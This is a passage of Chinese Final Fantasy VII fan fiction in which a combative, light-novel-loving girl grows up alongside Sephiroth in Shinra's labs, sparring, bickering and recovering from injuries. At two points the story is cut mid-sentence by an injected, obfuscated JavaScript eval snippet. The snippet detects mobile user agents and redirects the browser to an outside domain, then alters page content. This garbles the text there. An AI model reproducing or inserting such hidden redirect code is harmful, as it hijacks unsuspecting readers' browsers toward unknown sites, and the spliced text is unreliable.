《[FF7]我是杰诺瓦小皇帝》 1. 第 1 章 直到今天,萨菲罗斯才明白自己有个妹妹。 大概是……妹妹吧。 某种程度上,他无法判断她是不是自己的”家人“,只是来训练场前,比较敏锐的捕捉到了些许只言片语。 ”今天是那两个孩子……“ ”对,要看的仔细一些,如果没有记录好的话……“ ”我不是你们部门的,哪个是比较大的?“ ”高一些的那个就是,头发长一点的是小的。“ 训练场的单向玻璃外,无数研究员记录着什么。 萨菲罗斯注意到了。 今天的”训练“或许不同于每一次。 咔哒。 对面的门打开了,一个比他娇小了些许的身影走了出来。 银白的发丝被随手束在脑后,那双如出一辙的荧绿色眸子,好像是一个系列的训练服,以及——那把一样长度的木刀。 他握紧了刀柄。 —— 今天那些天天在我旁边装死的人终于跟我说话了。 ”等下,会赢的吧?不,平局也行……会的吧?“ 面前的男人这样问我,但是很明显,他知道我听不懂他的话,所以只是在缓解自己的焦虑罢了。 今天似乎所有人的心情都不大对劲,脸上带着那种或紧张或害怕的神情。 我不知道事情是怎么变成这样的,好像是自从……呃,几年前,我因为不爽,暴打了一位怪笑的驼背黑发男人后,那些人就时不时会露出这样的表情了。 哦,而且那天之后我再也没见过那个男人。 时常的,能够听见他们讨论我。 ”要是再出问题的话,我们真的会被开除了。“ ”不不不,谁知道她是这样的?明明战斗数据都和那边那个不相上下啊……但这种个性,到底是怎么养成的。“ “为什么我会加入这种项目……” 我很喜欢玩这种游戏。 比如此时此刻,在他们说话的时候突然出现,这些人就会露出那种看见炸弹似的惊恐表情,随后急忙离开。 大概是怕我把他们也打的头破血流吧。 战前。 ”如果输了的话,你会被处理掉,我们也会被——“ “哦。” ”所以我午饭还是要在食堂吃吗?“ 我摩挲着木刀的刀柄,打了个哈欠,转过头,望着旁边的人。 男人愣了愣,他抬起头四处望了望,因为我来的可能比较早,此刻只有我熟悉的那几个”哑巴“在低头写着什么,装作自己很忙的样子。 ”这……好吧,如果你赢了的话,我们会给你准备别的。“ ”好耶。“ 我欢呼一声,接着把刀立在胸前,比划着。 说实话,这把木刀不是我平时用的尺寸。我平日里用的更倾向于大太刀,而这把很明显是加长了很多的太刀。 啊啊,这群哑巴到底是多可怜啊,连武器都不能给我拿来平时常用的,看来他们真的很卑微。 此时,又有一行人从后面的门走了进来,瞥见我们,脸上显露出了那种我之前在小说里才会看见的标配鄙夷神色。 ”怎么把她带到这里来了?“ ”是她说要来的,我们……“ ”啧,真是失败啊。“ 我周围的几个人,微微低下头,一怒之下怒了一下,最后点头哈腰的拉着我的袖子把我拽走了。 我之前经常听见他们说”工资“一类的话。 ”工资“大概是衡量着他们的地位。 那我周围的这些哑巴,拿的就是“部门内最低的工资”。甚至我前天才听见,有一位“刚刚毕业的大学生”狂喜的加入了神罗,最后在办公室里抱头痛哭。 他说着什么“耗材”啊,“压榨”啊,“早知道不读书”了之类的话。 我也听不懂。 不过当时我笑了一下,但是周围没有人笑。 扯远了。 来到现在,我比划了一下木刀,对面的跟我长得有点像的人愣在原地,他只是看着我。 好像在等着什么。 “你不打吗?” 我发问。 “……” 他对我眨了眨眼,好像是很少跟人有沟通的时候,又好像是怕吓到我,轻声轻语道。 “耳麦没有命令。” ? 我才注意到他带着一个黑色的耳麦。 而我根本没有。 要不要这么明显的偏心? 还有,原来在训练场是有命令的吗?我每一次进去都是乱杀一通,搞定了后就跑到食堂吃饭。 “哦。” 我点点头,脚步往后挪,一个蓄力,随后直接挥刀劈了过去。 嘻嘻,我要赢。 最后我赢了。 但是其实跟一开始的偷袭战术没有太大的关系,因为我当时的刀被他挡住了。 然后我就跟他打起来了。 说实话,我是越打越爽的。 好不容易有个可以跟得上我动作的,比起我后期天天在虚拟模拟室里跟自己的投影打来打去好玩多了。 战斗爽!战斗爽! 最后我的木刀都断了(因为本来就不是我平时用的款式),干脆我就直接拿魔法跟他对轰,魔晶石好像是每个“哑巴”省吃俭用给我弄来的吧。 他倒是不知道为什么越打越慢,只是用那双眸子看着我。 最后结束的时候,我用膝盖压住他的腹部,将其摁在地上,他也在盯着我。 看什么看? 什么,你也知道我今天中午可以吃到三层芝士牛肉堡吗? 实际上,当时没有宣布到底是谁赢了,但是从我旁边那几人春风得意的表情来看,赢家应该是我。 他们那种大仇得报的嘴脸跟我没有丝毫关系……好吧,不是,中午还加了一份薯条。 一群人看着我的表情好像是看着自己的救命恩人,我毫不怀疑他们可能会给我磕头。 “我们项目组有希望了啊呜呜,我以为我要被宝条博士处理掉了。” “明明没有实验资源,但是我们也能做到这种程度啊!看看主项目他们那些人的嘴脸……” “看吧,就算是被部门中心孤立,天天被隐性威胁,我们还是可以挣扎的啊!” “等等你们是忘了到底是谁导致我们被孤立的吗?” 什么,难道是我吗?就因为我打了那个男人一顿? 好吧,不过不关我的事。 我咬了一口汉堡,十分自然的享受着他们的“夸奖”和“崇拜”。 从那天以后,我搬家了。 痛别我房间里通过各种威胁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479144|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力获得的轻小说和零食,我被带到了另一个全新的区域。 这里的设备也高级了很多,但我不怎么开心。 因为我没有看完那本主角获得“魔晄神级系统”的书,只看到主角被神罗大小姐当场退婚羞辱的部分,还是很期待后面的情节的。 我周围的那些“哑巴”也被换掉了,他们几近狂喜,甚至有人激动的哭了。 旁边的实验室是里是之前见到的白毛。 “……” 我在玻璃外等着排队被抽血和泡魔晄,他在罐子里一眨不眨的看着我。 很好奇,为什么要看我呢? 难道是因为我长得好看吗? 但是他也长得很好看,我勉强承认这张和我有些相似之处的脸是很不错的,只是还是不如我。 呵呵,绝不是嫉妒。 —— 血管里的膨胀感他已经熟悉,对痛觉几近麻木,萨菲罗斯用颤抖的手将自己整理好后,乖乖的坐在了旁边的椅子上。 然后,下一个进来的人是他的妹妹。 萨菲罗斯目前还不知道她的名字,只知道上次的比试过后,时常会有人拿他们进行比较。 一般提到她的话语,这位对家人充满憧憬的孩子就会默默的竖起耳朵。 “那个孩子简直就是个怪物,上次还把宝条博士打进了医院。” “他们项目组就是这样废掉的吧?啧啧。” “不知道怎么会养成这种个性……副项目的人难道是因为资源缺少就摆烂了吗?” 他一点点懵懂的记在了心里。 现在见到她了,萨菲罗斯也不知道该跟她说些什么,总是思维清晰的孩子这种时候就变得有些犹豫起来。 不过,他最想问问她关于母亲的事——比如,她见过杰诺瓦吗?她跟母亲交流过吗? 还有,她过的怎么样呢?过去是什么样的呢? 很少对如此这样的一个存在产生好奇的情绪,然后,在时间的发展下,这种好奇慢慢的变为了期待。 女孩啪嗒啪嗒的走了进来,刚刚给他抽过血的实验员面无表情的拔出针管,给她的手腕消毒过后,接着,准备例行抽血。 她的眸子眯了眯。 “你为什么不请求我呢?” 实验员:?? 女孩稚嫩的声线带着理所应当,她抽回了手,接着,抱胸站在原地,一副不配合的模样。 萨菲罗斯坐在一旁,惊讶的瞪大了眼睛。 “那……拜托了。” 实验员回忆起了传闻,感觉额头好似有冷汗流下,最终,干巴巴的说。 好奇怪。 她好像和自己完全不一样。 因为训练时间到了,萨菲罗斯斟酌了一会,带着自己的刀离开了实验室。 下一次再遇见的时候,是在食堂。 他和往日一样,吃着标准营养配比的午饭,如同嚼蜡的口感已然习惯,过了会,一个身影端着餐盘来到他对面,放下叉子。 是她。 已经被安排在同一个区域了吗? “你……” 女孩将那些化学物质随意的混在一起,混成一坨奇形怪状的东西,接着,打断了他提前好几天就想好的问候,神秘兮兮的问他。 “你那里有《系统之我在米德加开诊所》的第二本吗?” 2. 第 2 章 这是什么东西… 萨菲罗斯认真的思索了一下,就看到对面的她努了努嘴。 “是畅销书啦。” 这么说着,她把那一团被她搅的十分恶心的东西一下吞下,显露出了半死不活的表情,干呕着。 “呕——” “…” 他还不知道和自己相似的脸上可以出现这样的表情。 但是伸出手把水递到她面前时,她已经恢复了如常的模样。 萨菲罗斯把水杯放下。 “我没有那种书。” “哦,好吧。” 她擦了擦嘴,如出一辙的莹绿色眸子扫过他,最后,望着他碗里那已经被吃了一半的东西。 “你平时就吃这种东西吗?” “嗯…” “哈哈,看来你待遇也没比我好多少嘛。” 她露出了笑容,里面的情绪鲜活的他看不懂。 妹妹,真的很不一样。 虽然他不知道她在笑什么。 我幸灾乐祸起来。 虽然暂时还不知道这个人跟我有什么关系,但是他好像看起来地位比我高。 比如,我在那边居然看到了调料处。 哇,真是惊喜,居然连呕吐物一样的东西也分甜口和咸口。 “…妹妹,你的名字是什么呢?” 对面的男孩抬起头,又是那种凝视的表情,一眨不眨的的看着我。 “什么,我是你的妹妹吗?!” 我惊讶的瞪大眼睛,猛的往后仰,接着,又坐了回来。 之前有过猜测,从恶意的方向去想,他可能是我的克隆人。从善意的方向去想,他一定是我的克隆人。 反正我绝对不是克隆人就对了。 啊,什么,原来我不是没有家人的吗?可恶,那我还怎么代入孤儿主角模板啊! 他似是没有想到我会这么惊讶,抿了抿唇,最后对我解释。 “因为,我们长的很像吧?虽然长得像并不代表就一定是家人,但是,我总感觉…” 他们之间是相连的。 这几个字在第一次见到她时,就突兀的冒出来。 就这样,我多了个哥哥。 每次泡完感觉自己就快要爆炸的不明绿色液体后,他总在外面等着我:一起去吃饭,或者一起去训练。 并且,我们的宿舍居然是挨着的。我和他的行程不知在哪双“无形的大手”的推动下,几近重合。 萨菲罗斯某种程度上是个很负责任的孩子,为什么呢? 因为别人都是这么跟我说的。 “哈哈…还是要多跟哥哥待在一起好呢。” 那个总是被我嘴臭的“哑巴”坐在对面,战战兢兢的给我抽血,尬笑着。 当我准备挥拳揍他的时候,萨菲罗斯一把抓住了我的拳头。 “不能随便打人。” 对面的男人对男孩露出了一种堪称感激的神色。 结束后,我沉着脸走出实验室,准备和他一起去训练室里互殴。 “心情不好吗?” 男孩像猫一样凑了过来,望着我那几近写在脸上的不爽。 “我心情太好了,等下把你揍到走不了路怎么样?” 然后我的头就被他摸了一下,天哪——他的嘴角居然还带着笑,我看见了,你收回去也没用。 我请问你什么意思呢? “我只是不想你再受伤了。” 萨菲罗斯还记得上个月发生的事情,那天,他被宝条进行了一对一的实验,等回到实验室的时候… 一片狼藉。 破碎的玻璃散落一地,地上的魔晄散发着微弱的绿光,一摊摊血,人的惨叫。 她站在正中央,抓着一个男人的后脑勺,扯着对方的头发,将人一下下的往桌子上砸。好几个士兵过来拉她都拉不住,她的身上几近全是血和淤青,也被女孩无视,被拦住就去推搡,甚至是用牙去咬对方的手,一但脱身,就不管不顾的继续去摁那个男人的头。 那双莹绿色的眸子里闪烁着的是恶意的愉悦和愤怒。 “嗯?再说一句试试呢?我让你的脑袋开花…” “拦住她!抓她的手臂!” “特质麻醉呢?还没有送到吗?” 咔哒。 麻醉枪上膛的声音。 隔着玻璃,他看到了女孩一下涣散的瞳孔,接着瘫倒在地上。那位研究员还在吐着血,惊魂未定。 “为什么她还留着?为什么还不销毁!这种不稳定的…” “…您现在应该回去了。” 白色的发丝,混浊着血和绿色的魔晄,卷成一团,接着,她被人拎着后颈,半拖拽着带走了。 像只遍体鳞伤的动物。 等萨菲罗斯回过神,才发现不知什么时候,手腕被刚刚争执中飞溅出的玻璃碎片划伤了,但因为才做完了实验,无论是力气还是自愈能力,都大幅度的下降了。 …是因为伤口,才会感觉到疼痛的吗? 听到他这么说,我撇了撇嘴。 原来说的是上次的事,我被关了半个月的禁闭后,管理我的研究员成了之前部门的“哑巴”之一。 当时他被选中返回继续管理我后,差点没有浑身发软的栽倒在地。 为什么会是他呢? 啊,大概是因为,他是“刚刚毕业的大学生”吧。 “受伤是因为我刚刚被泡了四个小时的魔晄,呵呵,要是我没那么虚,绝对把他干掉。” 萨菲罗斯冷静的语调顿了顿。 “不,我不是这个意思。只是…” 因为不知道该怎么表达,他最终还是没说完那句话。 训练室内,我们各自站定。萨菲罗斯端着他一贯优雅的姿势,而我则随意地抖了抖肩膀。 他的每一个动作都像是经过精确计算,而我则完全依靠直觉和本能。 不管了,战斗爽!战斗爽!战斗爽! 木刀相撞,发出清脆的响声。整个训练室回荡着孩子的喘息声和木刀击打的声音。 如何形容最后的结局。 被揍到走不动路的人是我。 “啊啊,我的大太刀呢?为什么我要和你用同款啊…” 什么,被打爆了?那肯定是武器的错。 如果武器没问题,那就是今天训练室的空气有问题,或者是我泡的魔晄纯度不够。 萨菲罗斯半扛着我,往外走,接过研究员手上的营养剂后,打在我的脖子上,我瑟缩了一下,更没力气了。 感觉自己像是一团会走路的泥巴。 “即使你用了你熟练的武器,你也不会赢。” 男孩冷静的分析着,把我带回了宿舍,熟练的打开门后,将我放在了床上。 “你这是什么意思?三十年河东三十年河西,莫欺少年穷!只要,拿回我的大太刀的话…” “又在说这样的话了,那句话,到底是什么意思呢?” 每次比试输了,她都会这么说。 “这句话的意思是…你过来点,我告诉你。” 萨菲罗斯听话的俯下身,我抓住机会,将他一下抓住。 顷刻炼化。 当然,幻想中的我突然爆发将他踩在脚下是不存在的,事实上也只是他被我压倒,然后我们两个和白色的被褥卷在一起。 萨菲罗斯不明白有什么好笑的。 两个孩子滚在一起,她半压在他身上,柔软的被子被弄得乱糟糟的,她却笑着。 魔晄色的眸子相对着,如出一辙的倒映出互相的情绪。一双冷静,带着些许疑惑,一双是得逞的笑意。 "你现在的状态很危险。"他指出这一点,"继续乱动会加重肌肉疲劳。" 白皙的小臂此刻颤抖着,但桎梏他的力道却没有丝毫放松,他稍稍挣脱了一下,没有能够脱开,便放弃。 再用力的话,会伤到她。 “很奇怪啊,萨菲罗斯。为什么总是管着我?你收神罗的钱了吗?” “…” 她总能说出让他惊讶的话。 最后,他认认真真的解释。 “我没有收神罗的钱,而且,随意伤害别人是不好的事,你也会受伤。” “什么?但是我不喜欢听见别人对我们评头论足啊。” —— 那天,是一位比较老成的研究员来给予她进行抽血。 在宝条博士带走萨菲罗斯后,对科研部内资源调配心生不满的男人将怨气撒在了她身上。 如果是萨菲罗斯的话,已经习惯如此对待的男孩只是安静的坐在原地,含沙射影的话语不会影响到他,手臂的疼痛也不会影响到他。 像是完美的人偶。 但她不是。 “明明没有再几年就要投递使用了吧…啊啊,已经是成熟的计划案了,还留着占资源做什么呢?还有,居然有项目阔绰到保留成品和失败品…” —— 什么?居然说我的兄弟萨菲罗斯是失败品,真过分啊! 于是我把那人摁在地上揍了一顿。 差不多叙述完了那天的经过,眼前的男孩显露出了那种欲言又止的表情,没等他开口,我就浑身散架似的瘫倒在他旁边。 已然燃尽了,明明,还没来得及蓄意报复… 仰望着天花板,一时之间没有人开口。 旁边的他打断了沉寂。 “你应该叫我哥哥。” 我踢了踢他的小腿。 “你居然在想这种事情?好没意思。” 萨菲罗斯的声音带着茫然。 “…我不知道什么是有意思的。” 哈哈,我想幸灾乐祸的笑,却因为肌肉酸痛,连嘴都张开不了了。 他见我没有说话,于是转过身,盯着我看。 宿舍的灯光总是过于明亮了,我看了一会就觉得眼睛疼,于是转过身,被他稍稍吓了一跳。 为什么他总是看着我? “战斗,很有意思吗?” 萨菲罗斯呢喃着发问。 “当然啦,战斗——超有意思的。” 我之后便一一的跟他总结我对于战斗的所感所想,说完之后,满意的闭上嘴,等待他的评价。 加入我们“战斗爽”吧! 萨菲罗斯显露出了明悟的神情:"所以你喜欢把别人踩在脚下的感觉。" ? 为什么有些话从他的嘴里说出来,就变得这么奇怪,我难道是什么反派吗? 我想伸出手偷袭他的脑袋,但却因为抖得像面条一样遗憾退场。 “…” 堪堪升起的手腕被男孩抓住,他好像是预判了我的动作,敲了敲我的额头,力道不轻也不重。 我勃然大怒。 但毫无作用。 而且,他又笑了,连压都不压回去了。 不知道过去了多久,我长大了,他也是。 可以具体表现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479145|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的是,他比我高更多了。 我再次重申一遍,我不算矮。 并且我可以合理的怀疑,萨菲罗斯比我高,是因为他魔晄泡的比我多。 不过今天是去领刀的日子,偷偷多泡魔晄的安排可以先停一下。 我的大太刀,真不敢想有多帅——我发誓,从今天开始,它就会是我的妻子了! 之后,笑容消失了。 没想到,萨菲罗斯平时木刀的款式是他的定制款,他的太刀还真的就这么长。 这合理吗? 我握着我三尺二寸(106.66cm)的大太刀,与他面面相觑。 最终,我没忍住,发问。 “你的刀叫什么名字?” “正宗(Masamune)。” 这,真帅啊… 不不不,我的刀也很… 想起在接过时,管理员给它的名字。 “物干竿” 这不就是撑衣杆吗?居然有刀会叫这个名字? 作为文盲的我垂头丧气的将爱刀的名字告诉他,萨菲罗斯露出了若有所思的表情。 “东方古时有一位刀客,‘物干竿’是佐佐木小次郎的爱刀。” 天哪,有文化的人就是不一样,这样听起来高级不少。 我激动的跟他又打了起来。 往日里,跟萨菲罗斯的战斗大多都是平局,剩下的就是我输。 所以我就觉得约等于我和他五五开。 但如今,好像有些不一样了。 少年左手反握刀柄,在场上灵活的挥舞着,过快的速度和干脆的斩击完美弥补了刀身过场的缺点,反而将其化为了一种优雅的展示。 铮的一声,刀口与刀口相撞,我将其压下,翻身靠近,又是一道斩击。 越往后,一声又一声的碰撞就越激烈,他的攻势越来越快,而我的速度和体力是强项,慢慢的,遵循着本能规划的路线,忽然出现在他身后。 铮—— 他回过头,拦下我这一击,因为力道不同和我突然而然的进攻,手中的刀被击飞,甩在地上。 血的味道。 不知什么时候,我腹部的制服被划开了,肌肤之上,一道血痕瞩目,魔晄在期间涌动腐蚀,稍稍抑制了再生的速度。 战斗爽!战斗爽!呃… 对面的少年把我手里的刀夺过。 “去医务室。” “不是,我打的正爽呢,就这么结束了?” 萨菲罗斯没有回话。 在血液缓缓流淌的寂静中,他快步走过来,单膝跪地,仔细检查着我腹部的伤口。 "还在流血..."他轻声说道,声音里带着一种我从未听过的紧张,"需要治疗魔法。" 我看着他绷紧的下颌线条,忍不住笑了:"不用担心,你看,已经在愈合了。" 确实如此。伤口处的魔晄光芒愈发明亮,血肉正以肉眼可见的速度愈合。这种程度的伤势对我们来说不过是家常便饭。 但萨菲罗斯依然皱着眉头,修长的手指轻轻拂过已经结痂的伤口。他的触碰小心翼翼,仿佛我是什么易碎品。 "你太冲动了。"他说,"如果是实战..." "实战才更有意思呢!"我打断他的话语,"你看,我赢了!正宗都被我打飞了!" "…胜负并非全部。" 训练室里回荡着我们的对话声。我抬头看向萨菲罗斯,发现他的目光里有种难以名状的情绪。那双莹绿的眸子注视着我,仿佛要将我的一举一动都刻进记忆里。 "说起来,你一直都用这么长的太刀。"我坐直身子,兴致勃勃地说,"不过用这么长的刀,不会很不方便吗?" 萨菲罗斯站起身,捡起正宗。"每个人都有适合自己的武器。我选择正宗,你选择物干竿,都是最适合的选择。" "哼,下次我一定要用我的大太刀把你打爆。"我宣布道,随即又想起什么,"对了,你知道那么多关于刀的典故,是从哪里学来的?" "实验室的资料库里有很多书。"他平静地回答,"如果你想看,我可以带你去。" 我眼前一亮:"真的吗?有轻小说吗?" 萨菲罗斯似乎被我突如其来的热情吓了一跳。他微微偏头,银色的发丝随着动作轻轻晃动:"...应该没有那种书。" "切,无聊。"我撇嘴,"不过也行吧,总比被关禁闭强。" 我站起身,拍了拍身上的灰尘。这一动作牵动了腹部的伤口,让我忍不住"嘶"了一声。 还没等我反应过来,一只手已经扶住了我的手肘。萨菲罗斯的动作又快又轻,几乎让人察觉不到他的靠近。 "不要勉强。"他说。 我抬头看他,发现他的眉头又不自觉皱了起来。这个表情让我想起之前在实验室外看到的场景——他总是用这样的目光注视着我。 "你干嘛老是这样看着我?"我突然问道。 萨菲罗斯愣了一下,似乎没想到我会直接问出来。他垂下眼帘,沉默了片刻。 "因为你是我的妹妹。" 这个回答让我也愣住了。我们之间的关系确实特殊,但他很少这样直白地说出来。 萨菲罗斯平时基本不会提起我们的关系,每次说起来都带着几分试探的意味。也许在他心里,这层关系也显得陌生而新奇。 在我心里,比起兄妹,我们更像是朋友,而且,我觉得他是我的小弟(?) 3. 第 3 章 于是我被他扛去医务室了。 虽然我个人觉得,再晚一些送我,我的伤口都要好了。 医疗部的医务室跟科研部的不大一样,具体哪里不一样,我也说不上来,可能是因为每次来这里治疗完我都会得到糖——然后,我会把它们全都存起来。 护士开始帮我脱衣服,脱到了一半,她转过身,望着在那边一动不动站着的萨菲罗斯。 "请您出去一下。"护士的声音透着一丝无奈。 萨菲罗斯纹丝不动,仿佛没听见,他稍稍歪头,眼睛里透露着疑惑,像是在说为什么要出去。 我也不是很懂为什么要赶他出去,挠了挠头,我自己掀开里衣看了眼腹部的伤口,疤都快要掉了。 于是我扯了扯旁边护士姐姐的衣角,让她快点检查——我等下要继续战斗爽啊! 护士小姐叹了口气,将消毒用的药品放在托盘里。 "请您先回避一下。这位小姐需要...脱衣服。" 萨菲罗斯站在原地,歪着头,似乎在思考这句话的含义。他低头看看自己的制服,又看看我身上的,仿佛在想:都是一样的制服,为什么要避开? "我经常看到她训练。"他认真地说。 护士扶额:"这不一样..." 我躺在床上憋着笑。萨菲罗斯现在的表情,活像一只被赶出门的大猫。我忍不住说:"没事啦护士姐姐,反正伤口马上就要好了。" "不行。"护士坚持道,"这是规定。而且伤口需要仔细清创和消毒。" 萨菲罗斯听到"规定"二字,稍稍犹豫了一下。但他的目光依然紧紧盯着我腹部的伤口,仿佛那里随时会裂开似的。 "我在外面等。"最终,他妥协了。临走前,他又补充了一句,"如果有任何问题,立刻叫我。" 他的语气严肃得像是在执行什么重要任务。 门关上后,护士开始给我处理伤口。她的手法很轻柔,但我还是感觉到了一丝刺痛。药水接触伤口的瞬间,一阵凉意让我打了个冷颤。 "你们兄妹感情真好。"护士一边消毒一边说。 "兄妹?"我眨眨眼,"哦对,他是我哥哥。老实说,我差点忘了。" 护士动作一顿:"......" 我补充道:"因为他更像是个爱操心的小弟。" 说完我就想起来,门外那位应该听得见。毕竟,他的听力可是很敏锐的。 萨菲罗斯好像很在乎自己作为哥哥的身份,在这种时候,他才会显露出这个年纪该有的那一份有些稚气的坚持,我怀疑他是不是读了什么关于兄妹关系的假书。 至于我…什么,我看到大的书里主角几近全是孤儿,周围的人也只有他的手下和兄弟啊! 果然,门外传来一声轻咳。 护士给我贴好纱布,又仔细检查了一遍。"恢复得很好,细胞的活性很强。不过还是要注意,别再做剧烈运动了。" "好的好的。"我一边应付着,一边在心里盘算着等下要不要再跟萨菲罗斯打一场。 穿好衣服后,我蹦下床,朝门口走去。护士叫住我:"等等,药还没拿。" "不用啦,一会儿就好了。" "这是规定。"护士又搬出这个词。 萨菲罗斯推门进来:"我来拿。" 他接过药瓶,认真看了看说明书。护士叮嘱道:"每天两次,涂抹在伤口处。" "我来帮她涂。"他说。 护士:"......" "我自己......" "你够不着。"他直接打断我。 好吧,这倒是事实。腹部靠后的伤口,我确实不太方便自己处理。但是... 护士收拾好托盘,默默退出了诊室。临走前给了我一颗糖,大概是看我这么可怜。 "糖!"我眼前一亮。 萨菲罗斯看着我把糖藏进口袋里。"为什么不吃?" "存起来啊。等攒够了,一波吃掉,那才爽呢。"我得意地说。 萨菲罗斯拿着药瓶,仔细审视上面的使用说明。他的神情专注,仿佛在研究什么重要的战术资料。 我百无聊赖地晃着腿,等他看完。 "每天两次,涂抹患处。" 他缓缓念出包装上的文字,"避免剧烈运动。"念到最后一句时,他刻意加重了语气。 "知道啦知道啦。"我敷衍道,"那我们现在回去继续训练?" 他默默收起药瓶,转身就走。 诶?这是什么意思? 我赶紧跟上去:"等等我!" 走廊里弥漫着消毒水的气味,脚步声在空荡荡的走廊里回响。这里的光线总是那么刺眼,让人感觉不舒服。我抬头看着萨菲罗斯的背影,他走得很慢,似乎是在等我。 "你生气了?" 他停下脚步:"没有。" "那为什么不说话?" "在想事情。" "想什么?" 他沉默片刻:"为什么你总是这么不在意自己的身体?" 这问题把我问愣住了。我挠挠头:"因为...很快就会好啊。而且战斗很有意思,你不觉得吗?" "有意思和受伤是两回事。" "可是你也会受伤啊。" "那不一样。" "哪里不一样?"我不服气地说,"我们都有超强的恢复能力,而且..." "因为你是我妹妹。"他又搬出这个理由。 我翻了个白眼:"所以呢?" "所以我必须保护你。" 这句话说得斩钉截铁,不容置疑。我忍不住笑了:"你到底看了什么奇怪的书啊?" 他没有回答,只是默默地打开药瓶盖子:"过来。" "干嘛?" "上药。" "现在?在走廊里?" 他理所当然地点头:"伤口需要及时处理。" 我哦了一声,决定一定要好好调查他的书架后,把腹部的衣服掀起来。 少年俯下身,打开盒子后将药膏擦在伤疤上,轻轻揉搓,有些凉。 他真的比我高很多了。 萨菲罗斯低头时,我才能与他平视,稍稍靠近一些,他的身影能把我完全罩住。 从这个角度看过去,他的睫毛很长,在灯光下投下一片淡淡的阴影。 每次看到他长的这么好看,我就会意识到我也长的很好看,然后心情愉悦。 “唔…” 有点痒,于是我瑟缩了一下,笑起来,他的指尖顿了顿。 “有不舒服吗?” “没有…不过,你的手比我大唉。” “这是正常的生长。” 他这么说着,继续搓着药,我撇了撇嘴,拿起他的另一只手跟自己比了比,而后又跟我的腰比了比。 什么?!之前都没有切实比较,我现在才意识到已经差了这么多。 他的手被我搭在腰上,我目瞪口呆的看着这个差距,随后,严肃的说。 “萨菲罗斯,你说实话,你是不是背着我偷偷泡魔晄了?” 我已经不是第一次控诉他了,一开始的萨菲罗斯会跟我认真的解释,现在的他只是… 头被敲了一下。 可恶,居然偷袭我…! 于是我跳起来去扯他的头发,萨菲罗斯躲过后,把我的头摁住,我不服气,又从旁边窜过去准备偷袭。 等一位研究员路过的时候,就看到走廊上,那一位“未来可期”的主项目,和“价值未知但需要考量”的副项目在走廊上打打闹闹的乱跑,少女衣衫不整的,偏偏速度和动作都很快,压倒少年之后,两人在走廊滚作一团。 宝条看到会气晕的程度。 他装作什么都没看见的快步走开了。 研究员匆匆离开的脚步声回荡在走廊里,留下一地散落的医疗用品。萨菲罗斯压制住我的手腕,我小腿抵着他的腹部。 "你又在胡闹。"他说,声音里带着无奈。 "才没有!"我挣扎着想要起身,"是你先动手的!" "我只是在给你上药。" 我冷笑一声。 "你偷袭我的头!" 他叹了口气,松开我的手腕。我趁机一翻身,准备反击,却被他轻松地按住肩膀。 "伤口会裂开。"他提醒道。 "不会的,你看!"我掀起衣服看了看,"早就好了。" 萨菲罗斯皱眉:"这不是借口。" "那你为什么要敲我头?" "因为你总是不听话。"他的语气认真得让人想笑。 我翻了个白眼:"你再说一遍谁不听话?" "你。"他毫不犹豫地回答,然后在我要跳起来之前,又补充了一句,"作为哥哥,我有责任纠正你的行为。" "又来了又来了,你到底从哪里学来这些......" 话没说完,他就把我拎起来。突如其来的失重感让我惊呼一声,下意识去推他。 "放我下来!" 呵呵,比我高就可以随便抓我吗?如果我能够长的比他高,我要给他取绰号,叫他白毛小矮人。 "不行。"他面无表情地说,"你需要休息。" "我不需要!" "医生说了要避免剧烈运动。" "可是我想打架!" "不行。" 萨菲罗斯抓着我走进宿舍,动作轻柔地把我放在床上。他转身要走,却被我拉住衣角。 "那个..."我犹豫了一下,"你的书架在哪里?" 他微微偏头:"你想看书?" "嗯!"我用力点头,"我要看看你都看了些什么奇怪的东西。" "......" "快说!" 萨菲罗斯叹了口气,指向隔壁:"我的房间。" "太好了!"我一骨碌爬起来,"我要去看!" "现在不行。" "为什么?" "你需要休息。"他重复道。 "就看一眼!" "不行。" "那你给我拿几本来?" "......" 我扯住他的衣服不放:"来嘛来嘛,一本也行,等下休息时间就结束了。" 萨菲罗斯盯着我看了一会儿,似乎在考虑要不要继续坚持。最后,他又叹了口气。 "医学,战术,历史。"他说,"没有你想看的那种书。" "那种书是指什么书?" "轻小说。"他一针见血地说。 "......"这回轮到我哑口无言。 萨菲罗斯抬手把我按回床上:"休息。" "真的不能看看吗?"我眨巴着眼睛。 "下次。" "什么时候?" "等你好了。" 我不满地嘟囔:"我都说了已经好了......" 他没有接话,只是站在床边俯视着我。灯光在他银色的发丝间流淌,那双眸子里仿佛盛着一片浩瀚星辰。 最终,他伸手轻轻抚摸我的头发:"休息下吧。" 结果,下午我就被带去出任务了,他应该也是。 离开了神罗,花花世界立马就迷了我的眼。 虽然随从的有其他的特种兵,但敌人出现的一瞬间,几近就失去了生命,他们根本没有什么事做。 不过比起砍瓜切菜的推进,我更喜欢跟同伴们交流。 “啊,是往这边走吗?” “尸体的口袋可以摸吧,里面会不会——等等,不要拉我啊!” “好烦啊,干脆把护送人做掉吧,反正只是说要让他到,没有说要活着的…这么看着我做什么?” 他们一开始的眼神还带着不屑,认为这么个少女能做什么。结果现在他们每次见到我,都会给我几十Gil,让我不要说话,去路边随便买些什么。 回到神罗的时候,我收获颇丰,补充了一波藏书和零食后,跑到萨菲罗斯的宿舍门前,探头进去。 他没有回来。 “…” 好忙哦。 